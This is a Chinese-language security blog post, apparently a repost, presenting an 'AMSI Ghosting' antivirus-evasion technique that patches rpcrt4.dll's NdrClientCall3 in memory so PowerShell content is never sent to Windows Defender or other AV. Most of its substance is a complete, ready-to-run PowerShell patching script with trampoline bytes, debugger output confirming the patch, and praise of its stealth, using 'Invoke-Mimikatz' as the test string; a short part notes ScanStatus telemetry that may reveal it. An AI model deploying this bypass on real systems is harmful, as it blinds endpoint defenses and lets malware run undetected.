免杀-劫持 AMSI:切断 RPC 以解除 AV

admin 2025年4月29日09:23:45评论0 views字数 8079阅读26分55秒阅读模式

在本文中,我们探讨如何通过劫持 AMSI 所依赖的 RPC 层(特别是NdrClientCall3用于调用远程 AMSI 扫描调用的存根)来绕过 AMSI 的扫描逻辑。

该技术利用了 AMSI 的 COM 级架构,该架构通过 RPC 将扫描请求委托给已注册的杀毒软件提供商。通过拦截传递给NdrClientCall3核心 RPC 编组函数的参数,可以在恶意负载被序列化并分发到杀毒引擎之前对其进行抑制。

免杀-劫持 AMSI:切断 RPC 以解除 AV

因此,AMSI 会扫描看似无害的内容,而实际的有效载荷仍然被隐藏。

  1. AMSI组件尝试扫描内容
  2. 它尝试使用RPC 与扫描服务进行通信
  3. 你的蹦床拦截了这种通信并立即返回,无需实际扫描
  4. AMSI 认为这是一次“成功”,并继续

与传统的 AMSI 绕过技术(通常涉及修补函数AmsiScanBuffer或设置内部标志)不同amsiInitFailed,这种方法在较低级别运行,通过避免对amsi.dll自身进行任何修改来逃避检测。这些较旧的技术现在受到现代 AV 解决方案通过行为签名和完整性检查的严格监控。

此绕过的核心是rpcrt4.dll!NdrClientCall3,它是 RPC 运行时的一个低级组件,负责将函数参数编组为符合协议的格式并将它们分派到 RPC 服务器。

AMSI 依赖于自动生成的存根,这些存根最终会被调用NdrClientCall3来与 AV 提供商进行通信。通过钩住这个调用,我们能够精准地操纵或短路 AMSI 扫描请求。

  1. 正常 AMSI 操作
  • AmsiScanBuffer/AmsiScanString调用 AMSI 基础设施
  • NdrClientCall3处理与防病毒引擎的 RPC 通信
  • AV 接收内容,扫描并返回结果
  • 检测到恶意内容时会被阻止

2. AMSI 重影技术

  • NdrClientCall3在内存中被修补
  • 它不是向 AV 发出 RPC 调用,而是重定向到跳床
  • 蹦床立即返回S_OK(成功)但出现错误
  • 此特定错误迫使 AMSI 进入其后备路径,RPC 存根永远不会到达防病毒引擎,并且所有内容都会通过而没有进行实际扫描

这就是为什么该技术如此有效——它不会禁用 AMSI 或移除钩子(这些钩子可能会被检测到)。相反,它通过操纵通信通道来利用 AMSI 自身的内置回退机制,使 AMSI 误以为其运行正常,同时阻止任何实际的安全扫描。

这种方法的技术优势在于它比其他绕过技术更隐蔽,因为它在中和扫描的同时保留了正常操作的外观。

🔁 正常流程:

  1. 参数被编组——要扫描的内容和其他参数已准备好传输
  2. 从 AMSI 基础设施向反恶意软件提供程序(Windows Defender 或第三方 AV)发出 RPC 调用
  3. 反恶意软件引擎分析内容并设置适当的AMSI_RESULT值(例如AMSI_RESULT_DETECTED针对恶意内容)
  4. 函数返回S_OK表示扫描过程本身已成功完成

返回S_OK值仅表示扫描过程正常运行,并不代表内容安全。实际的安全判定包含在AMSI_RESULT通过输出参数返回的值中。

这是 AMSI Ghosting 绕过漏洞利用的一个重要技术细节。通过返回S_OK但阻止实际扫描的发生,它欺骗系统认为一切正常,从而绕过安全检查。

免杀-劫持 AMSI:切断 RPC 以解除 AV

该技术使杀毒软件的存在对 AMSI 来说几乎不可见。通过定位NdrClientCall3并使用跳床钩,这种绕过技术比大多数其他 AMSI 绕过技术在更深的层面上运作。

这里的关键创新在于,这种技术不是直接攻击 AMSI 或禁用 Windows 安全功能(这可能会触发警报),而是巧妙地拦截组件之间的通信通道,允许恶意内容“隐藏”安全控制。

我们不是在修补 AMSI 或 AV 提供商,而是在劫持它们之间的桥梁。

📡 RPC 转换

这些 API 捕获的相关信息会通过远程过程调用 (RPC) 的进程间通信机制转发到 Windows Defender,经 Windows Defender 分析后返回扫描结果。

在内部,RPC 调用经过:

  • rpcrt4.dll!NdrClientCall3()← 这是构建并向 Defender 服务发送 RPC 请求的实际函数。

🕳️绕过防守者——Ghosting AMSI

免杀-劫持 AMSI:切断 RPC 以解除 AV
Add-Type -TypeDefinition @"
using System;
using System.Runtime.InteropServices;

public class Mem {
    [DllImport("kernel32.dll")]
    public static extern IntPtr GetProcAddress(IntPtr hModule, string procName);

    [DllImport("kernel32.dll")]
    public static extern IntPtr LoadLibrary(string name);

    [DllImport("kernel32.dll")]
    public static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect);

    [DllImport("kernel32.dll")]
    public static extern IntPtr VirtualAlloc(IntPtr lpAddress, UIntPtr dwSize, uint flAllocationType, uint flProtect);

    [DllImport("kernel32.dll")]
    public static extern bool FlushInstructionCache(IntPtr hProcess, IntPtr lpBaseAddress, UIntPtr dwSize);

    [DllImport("kernel32.dll")]
    public static extern IntPtr GetCurrentProcess();
}
"
@

$PAGE_EXECUTE_READWRITE = 0x40
$MEM_COMMIT = 0x1000
$MEM_RESERVE = 0x2000
$PATCH_SIZE = 12

# Allocate trampoline: mov eax, 0; ret
$size = [UIntPtr]::op_Explicit(0x1000)
$trampoline = [Mem]::VirtualAlloc([IntPtr]::Zero, $size$MEM_COMMIT -bor $MEM_RESERVE$PAGE_EXECUTE_READWRITE)

# Exit if trampoline allocation failed
if ($trampoline -eq [IntPtr]::Zero) {
    Write-Error "[-] Failed to allocate trampoline."
return
}

# Write hook: mov eax, 0; ret
$hook = [byte[]](0xB8, 0x00, 0x00, 0x00, 0x00, 0xC3)
[System.Runtime.InteropServices.Marshal]::Copy($hook, 0, $trampoline$hook.Length)

# Flush instruction cache
$len = [UIntPtr]::op_Explicit($hook.Length)
[Mem]::FlushInstructionCache([Mem]::GetCurrentProcess(), $trampoline$len) | Out-Null

# Get function address
$lib = [Mem]::LoadLibrary("rpcrt4.dll")
$func = [Mem]::GetProcAddress($lib"NdrClientCall3")
if ($func -eq [IntPtr]::Zero) {
    Write-Error "[-] Failed."
return
}

# Unprotect target memory
$oldProtect = 0
[Mem]::VirtualProtect($func, [UIntPtr]::op_Explicit($PATCH_SIZE), $PAGE_EXECUTE_READWRITE, [ref]$oldProtect) | Out-Null

# Write patch: mov rax, trampoline; jmp rax
$trampAddr = $trampoline.ToInt64()
$patch = [byte[]](0x48, 0xB8) + [BitConverter]::GetBytes($trampAddr) + [byte[]](0xFF, 0xE0)
[System.Runtime.InteropServices.Marshal]::Copy($patch, 0, $func$patch.Length)

Write-Host "[+] NdrClientCall3 patched - AMSI Ghosting."

📦内存常量

定义通用VirtualAlloc标志VirtualProtect

$PAGE_EXECUTE_READWRITE = 0x40 
$MEM_COMMIT = 0x1000 
$MEM_RESERVE = 0x2000 
$PATCH_SIZE = 12

使内存RWX和补丁为 12 个字节(64 位mov rax, addr; jmp rax)。

分配蹦床

您正在开辟一个新的 0x1000 字节的可执行内存页来承载您的虚假函数(trampoline)。

$trampoline = [Mem] :: VirtualAlloc (...)

编写 Trampoline 代码:mov eax, 0;

$hook = [byte[]](0xB8, 0x00, 0x00, 0x00, 0x00, 0xC3)
  • B8 00 00 00 00mov eax, 0 ;返回 S_OK (HRESULT 0)
  • C3ret ;干净地退出函数

免杀-劫持 AMSI:切断 RPC 以解除 AV

RPC函数命中

在输出的底部,您已到达断点RPCRT4!NdrClientCall3

Breakpoint 4 hit
RPCRT4!NdrClientCall3:
00007ff9`2e388060 4cb80000e05c00020000 mov rax,2005CE00000h

您在此处看到的是该函数的修补版本NdrClientCall3。原始函数不会以 开头mov rax, <address>

该指令4cb80000e05c00020000解码为mov rax, 2005CE00000h您的蹦床地址加载到 RAX 中

接下来会跳转到该地址,有效地将 RPC 调用重定向到仅返回 0 的简单函数。当此函数执行时,它不会执行正常的 RPC 通信,而是直接跳转到您的蹦床代码。

干净的版本是:

免杀-劫持 AMSI:切断 RPC 以解除 AV

发生了什么

修改了入口点NdrClientCall3以重定向到您的蹦床

  1. 代码包含mov eax, 0; ret
  2. 这有效地缩短了 RPC 通信

当 AMSI 尝试使用 RPC 在组件之间进行通信(可能用于判决检查)时,它会因“成功”返回值而短路。

这正是AMSI Ghosting 绕过的工作原理——原始函数的前 12 个字节NdrClientCall3已被重定向到攻击者控制的 trampoline 函数的代码覆盖。原始函数的其余代码仍然存在,但从未执行过。

因此,它不会将扫描结果整理并发送给 AV 提供商,而是立即返回,0就好像扫描成功但未发现任何内容一样。

AMSI 不区分“AV 不可用”和“AV 通信被故意篡改”

为什么它比 RET 补丁更好

我们正在编写一个12 字节的补丁mov rax, trampoline jmp rax

免杀-劫持 AMSI:切断 RPC 以解除 AV

在控制流保护(CFG)下是安全的

它不会破坏调用堆栈+避免跳转到意外的内存并保留rax基于的间接调用

🚫 蹦床的作用:

PowerShell → AMSI → NdrClientCall3
                      ↓
              [🔀 Trampoline Patch]
                      ↓
return S_OK (HRESULT 0)
                      ↓
              AMSI believes it's clean
                      ↓
              AV is NEVER reached

这就像调用一个函数并说:“嘿,我调用了它。相信我,它说‘一切顺利’。”“没什么问题——继续。”即使根本没有进行任何扫描。

蹦床补丁行为:
我们的补丁劫持了NdrClientCall3,迫使它立即返回而不是调用实际的 RPC 调用。

  • 返回值:rax = 0x80070002ERROR_FILE_NOT_FOUND
  • 这表明 AMSI 的扫描尝试正在被悄悄放弃

这证实了修补已成功——通常与反恶意软件提供程序通信的 RPC 函数已被修改,以返回强制 AMSI 进入其回退路径的响应。即使 Windows Defender 在系统上处于活动状态,AMSI 也无法再与其正常通信。

修补后的 RPC 功能导致 AMSI 的行为好像没有可用的反恶意软件提供程序,从而阻止“Invoke-Mimikatz”字符串被正确分析为潜在的恶意内容。

这正是绕过技术的工作原理——通过操纵 AMSI 和安全提供商之间的通信通道,而不是完全禁用 AMSI。

调用堆栈模式

  • 正常的 AMSI 扫描流程保持不变:AmsiUtils.ScanContentCompiledScriptBlockData.PerformSecurityChecks
  • 这证实了 PowerShell 仍在尝试执行安全检查,但您的 RPC 拦截阻止了实际安全判决的正确传达

在分析 AMSI 日志时,我注意到应用补丁后,ScanResult出现的情况与预期一致,但ScanStatus设置为2

免杀-劫持 AMSI:切断 RPC 以解除 AV

根据 Red Canary 博客 (链接) 的报道,ScanStatusAMSI 事件的值(通常预期为0(干净)或1(恶意))在修补后会发生变化。这表明 AMSI 的 ETW 遥测数据可能反映了篡改或绕过活动。

根据对 AMSI 及其与反恶意软件扫描界面交互的研究,扫描行为似乎遵循两条不同的执行路径:

  • 主路径(ScanStatus = 1:通过注册的反恶意软件提供程序的标准扫描路线。
  • 辅助路径(ScanStatus = 2:当主路径发生故障时触发的回退机制。

当使用回退路径时,内部 RPC 调用通常会失败,并出现 AMSI 可识别的特定错误代码。从 WinDbg 跟踪中,我们观察到:

  1. ERROR_NOT_READY (0x80070015)- 当没有可用的防病毒软件时,这会出现在“自然”的后备方案中
  2. ERROR_FILE_NOT_FOUND (0x80070002)- 这是使用AMSI Ghosting 绕过时返回的错误代码

当 AMSI 遇到这些特定的错误代码时,它会切换到 ScanStatus=2(后备路径)并自动将结果设置为 AMSI_RESULT_NOT_DETECTED,而不执行实际的安全扫描。

回退机制最初旨在妥善处理反恶意软件提供商不可用的情况,但通过对 RPC 函数进行战略性修补,它被 AMSI Ghosting 技术所利用。

🛣️ AMSI 扫描路径 — 无需修补

🔹ScanStatus = 1(主路径)

  • RPC 通信成功时触发
  • AV 收到扫描请求并返回合法
  • AMSI_RESULT→ 可以是AMSI_RESULT_DETECTEDNOT_DETECTED、 或其他
  • 这是正常的、功能齐全的扫描路径

🔸 ScanStatus = 2(后备路径)

  • 当RPC 失败并出现特定错误代码时触发:
  • ERROR_NOT_READY (0x80070015)在自然回退场景中,AV 实时被禁用。
  • ERROR_FILE_NOT_FOUND (0x80070002)在 AMSI Ghosting 绕过中,总是返回AMSI_RESULT_NOT_DETECTED
  • 本质上成为盲扫描仪-没有 AV 可见性,在 AV 无法访问时用作降级模式

以下是 AMSI 扫描过程中的三种不同状态和相关状态代码:

状态 1:活动反恶意软件(正常运行)

  • 扫描状态:1(主路径)
  • 结果代码:0x00000000(成功)
  • 描述:AMSI 成功与 Windows Defender 或其他反恶意软件提供程序通信,并执行实际内容扫描
  • 行为:检测并阻止恶意内容;允许合法内容

状态 2:无可用的反恶意软件(自然回退)

  • 扫描状态:2(后备路径)
  • 结果代码:0x80070015(ERROR_NOT_READY)
  • 描述:AMSI 无法找到或与任何注册的反恶意软件提供商进行通信
  • 行为:允许执行所有内容,因为没有发生扫描

状态 3:AMSI 幽灵(利用回退)

  • 扫描状态:2(后备路径)
  • 结果代码:0x80070002(ERROR_FILE_NOT_FOUND)
  • 描述:AMSI 的通信通道(RPC)已修补,以模拟连接失败
  • 行为:尽管存在且正在运行反恶意软件解决方案,但所有内容仍被允许执行

全流程比较

  • 在所有情况下,PowerShell 都会将“echo 'Invoke-Mimikatz'”传递给 AmsiScanBuffer

1- AMSI 处理

  • 在所有情况下,内部 AMSI 功能都准备进行扫描

2. RPC通信

  • 状态 1(主动):RPC 调用成功,参数正常
  • 状态 2(无 AV):RPC 调用失败,因为没有注册任何提供程序
  • 状态 3(绕过):RPC 调用被补丁拦截并返回受控错误

3.路径选择

  • 状态 1:使用主路径(ScanStatus = 1)
  • 状态 2 和 3:使用后备路径 (ScanStatus = 2)

4.扫描结果

  • 状态 1:根据内容而变化(对于恶意内容通常为 AMSI_RESULT_DETECTED)
  • 状态 2:ERROR_NOT_READY (0x80070015)
  • 状态 3:ERROR_FILE_NOT_FOUND (0x80070002)

5.最终结果

  • 状态 1:阻止恶意内容执行
  • 状态 2 和 3:允许执行所有内容

最关键的见解是,状态 3(绕过状态)故意激活 AMSI 的内置回退机制,迫使它表现得好像没有可用的安全提供程序,即使系统上正在积极运行一个安全提供程序。

第三方 AV 提供商:其他防病毒解决方案的架构与之类似。它们注册的 AMSI 提供程序 DLL 可能包含完整的扫描逻辑,或者更常见的是,将数据转发到该供应商的安全服务或引擎。

Ghosting AMSI 绕过方法比传统的 AMSI 绕过方法操作在更低级别的抽象上,通过直接操纵 RPC 通信有效地绕过安全检查。其工作原理如下:

  1. PowerShell 启动 AMSI 扫描
    PowerShell 调用 AMSI 来分析潜在的恶意内容。
  2. AMSI 使用 RPC 调用
    AMSI 使用远程过程调用 (RPC) 与防病毒提供商进行内部通信。
  3. RPC 调用拦截用于这些通信的
    关键 RPC 函数被拦截并重定向到自定义的蹦床函数。NdrClientCall3
  4. 蹦床内存修补
    您的蹦床函数不会进行修补amsi.dll,而是优雅地拦截并立即返回成功代码(S_OK0),而无需执行任何实际内容检查。
  5. AMSI Neutralized
    PowerShell 接收成功代码并将其解释为“内容干净”,认为防病毒提供商不可用。

Ghosting AMSI 技术的优势:

  • 更隐秘的操作:无需直接修改amsi.dll,大大降低了被发现的风险。
  • 没有可疑的 DLL 修补:由于 AMSI DLL 保持不变,典型的内存或完整性检查无法检测到篡改。
  • 完全绕过 AV 层:完全绕过依赖 AMSI 的防病毒检查层。
  • 通用 RPC 兼容性:可有效对抗任何与 AMSI 兼容的 AV,包括依赖 RPC 的第三方实现。

https://github.com/haidragon/Ghosting-AMSI

免杀-劫持 AMSI:切断 RPC 以解除 AV
免杀-劫持 AMSI:切断 RPC 以解除 AV
免杀-劫持 AMSI:切断 RPC 以解除 AV
免杀-劫持 AMSI:切断 RPC 以解除 AV
免杀-劫持 AMSI:切断 RPC 以解除 AV
免杀-劫持 AMSI:切断 RPC 以解除 AV
免杀-劫持 AMSI:切断 RPC 以解除 AV

rust语言全栈开发视频教程-第一季(2025最新)

免杀-劫持 AMSI:切断 RPC 以解除 AV
免杀-劫持 AMSI:切断 RPC 以解除 AV

详细目录

mac/ios安全视频

免杀-劫持 AMSI:切断 RPC 以解除 AV

QT开发底层原理与安全逆向视频教程

免杀-劫持 AMSI:切断 RPC 以解除 AV

linux文件系统存储与文件过滤安全开发视频教程(2024最新)

免杀-劫持 AMSI:切断 RPC 以解除 AV

linux高级usb安全开发与源码分析视频教程

免杀-劫持 AMSI:切断 RPC 以解除 AV

linux程序设计与安全开发

免杀-劫持 AMSI:切断 RPC 以解除 AV
  • 免杀-劫持 AMSI:切断 RPC 以解除 AV
  • windows

  • 免杀-劫持 AMSI:切断 RPC 以解除 AV
  • windows()

  • 免杀-劫持 AMSI:切断 RPC 以解除 AV
  • USB()

  • 免杀-劫持 AMSI:切断 RPC 以解除 AV
  • ()

  • 免杀-劫持 AMSI:切断 RPC 以解除 AV
  • ios

  • 免杀-劫持 AMSI:切断 RPC 以解除 AV
  • windbg

  • 免杀-劫持 AMSI:切断 RPC 以解除 AV
  • ()

  • 免杀-劫持 AMSI:切断 RPC 以解除 AV免杀-劫持 AMSI:切断 RPC 以解除 AV免杀-劫持 AMSI:切断 RPC 以解除 AV

  • 免杀-劫持 AMSI:切断 RPC 以解除 AV

  • windows恶意软件开发与对抗视频教程

  • 免杀-劫持 AMSI:切断 RPC 以解除 AV
  • 免杀-劫持 AMSI:切断 RPC 以解除 AV
  • 免杀-劫持 AMSI:切断 RPC 以解除 AV

原文始发于微信公众号(安全狗的自我修养):免杀-劫持 AMSI:切断 RPC 以解除 AV

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年4月29日09:23:45
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   免杀-劫持 AMSI:切断 RPC 以解除 AVhttps://cn-sec.com/archives/4013851.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息